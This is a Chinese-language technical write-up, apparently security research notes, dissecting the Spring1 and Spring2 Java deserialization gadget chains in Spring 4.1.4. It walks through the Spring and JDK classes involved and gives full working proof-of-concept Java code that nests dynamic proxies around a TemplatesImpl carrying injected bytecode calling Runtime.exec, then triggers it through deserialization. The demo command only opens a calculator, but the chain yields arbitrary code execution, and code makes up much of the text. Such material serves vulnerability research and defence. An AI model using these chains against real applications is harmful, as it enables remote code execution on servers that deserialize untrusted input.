Spring1
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
</dependencies>
MethodInvokeTypeProvider
切入点在 org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
static class MethodInvokeTypeProvider implements TypeProvider {
private final TypeProvider provider;
private final String methodName;
private final int index;
private transient Object result;
public MethodInvokeTypeProvider(TypeProvider provider, Method method, int index) {
this.provider = provider;
this.methodName = method.getName();
this.index = index;
this.result = ReflectionUtils.invokeMethod(method, provider.getType());
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}
}
readObject会调用this.provider.getType()返回对象的this.methodName指定的方法，这里ReflectionUtils.findMethod和ReflectionUtils.invokeMethod都没有传递Method的参数，因此是无参方法和无参调用。
我们的目标是让this.MethodName为newTransformer或getOutputProperties（这两个都是public方法，findMethod和invokeMethod都没有设置Method的可访问性），让this.provider.getType()返回TemplatesImpl
这个可以通过动态代理实现，先介绍几个调用处理器
ObjectFactoryDelegatingInvocationHandler
org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler
private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {
private final ObjectFactory<?> objectFactory;
public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
this.objectFactory = objectFactory;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("equals")) {
// Only consider equal when proxies are identical.
return (proxy == args[0]);
}
else if (methodName.equals("hashCode")) {
// Use hashCode of proxy.
return System.identityHashCode(proxy);
}
else if (methodName.equals("toString")) {
return this.objectFactory.toString();
}
try {
return method.invoke(this.objectFactory.getObject(), args);
}
catch (InvocationTargetException ex) {
throw ex.getTargetException();
}
}
}
invoke中会把方法调用委派给objectFactory#getObject()获取到的对象。
AnnotationInvocationHandler
sun.reflect.annotation.AnnotationInvocationHandler
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
}
invoke的返回值在memberValues中找，key为method方法名。可以返回任意对象。
Weave Poc
TypeProvider#getType返回的是Type接口类，我们可以让一个动态代理类去代理Type接口。
由于接下来ReflectionUtils.invokeMethod(method, this.provider.getType());要调用newTransformer，因此我们这个代理类除了代理Type接口类，还得代理Templates接口类（才能获取到接口类的方法）
获取到的动态代理类Proxy1有如下方法
那如何让TypeProvider#getType返回我们的(Type)Proxy1呢，也是再套一层动态代理，代理TypeProvider接口类，利用AnnotationInvocationHandler返回Proxy1，即设置memberValues.put("getType", Proxy1)
Proxy1的调用处理器设置为ObjectFactoryDelegatingInvocationHandler，这样就能把newTransformer的调用委托给ObjectFactory#getObject的返回对象去调用了。
让ObjectFactory#getObject返回TemplatesImpl即可，到此有两条路可走，继续套动态代理或寻找ObjectFactory的实现类（翻了一下发现不好构造，还是没有动态代理来得优雅）
继续套一层动态代理，代理ObjectFactory<?>泛型接口，利用AnnotationInvocationHandler返回TemplatesImpl，即设置memberValues.put("getObject", TemplatesImpl)
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.beans.factory.ObjectFactory;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
public class Spring1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");
Class<?> clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> con1 = clazz1.getDeclaredConstructors()[0];
con1.setAccessible(true);
HashMap<String, Object> map1 = new HashMap<String, Object>();
map1.put("getObject", templates);
InvocationHandler invocationHandler1 = (InvocationHandler) con1.newInstance(Target.class, map1);
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler1);
Class<?> clazz2 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];
con2.setAccessible(true);
InvocationHandler ofdHandler = (InvocationHandler) con2.newInstance(factory);
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);
HashMap<String, Object> map2 = new HashMap<String, Object>();
map2.put("getType", typeTemplateProxy);
InvocationHandler invocationHandler2 = (InvocationHandler) con1.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, invocationHandler2);
Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];
con3.setAccessible(true);
Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
setValue(o, "methodName", "newTransformer");
ser(o);
}
public static void ser(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}
public static byte[] genPayload(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
Spring2
在Spring1链基础上有所变化，把spring-beans的ObjectFactoryDelegatingInvocationHandler换成spring-aop的JdkDynamicAopProxy
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
JdkDynamicAopProxy
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {
private final AdvisedSupport advised;
public JdkDynamicAopProxy(AdvisedSupport config) throws AopConfigException {
// ...
this.advised = config;
}
}
JdkDynamicAopProxy将方法调用委托给了AdvisedSupport的target成员
直接上POC
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");
AdvisedSupport as = new AdvisedSupport();
as.setTarget(templates);
Class<?> clazz0 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> con0 = clazz0.getDeclaredConstructors()[0];
con0.setAccessible(true);
InvocationHandler aopInvocationHandler = (InvocationHandler) con0.newInstance(as);
Object aopProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, aopInvocationHandler);
HashMap<String, Object> map2 = new HashMap<String, Object>();
map2.put("getType", aopProxy);
Class<?> clazz2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];
con2.setAccessible(true);
InvocationHandler invocationHandler2 = (InvocationHandler) con2.newInstance(Target.class, map2);
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")}, invocationHandler2);
Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];
con3.setAccessible(true);
Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
setValue(o, "methodName", "getOutputProperties");
ser(o);
Ref
https://su18.org/post/ysoserial-su18-3/#spring1
Last updated
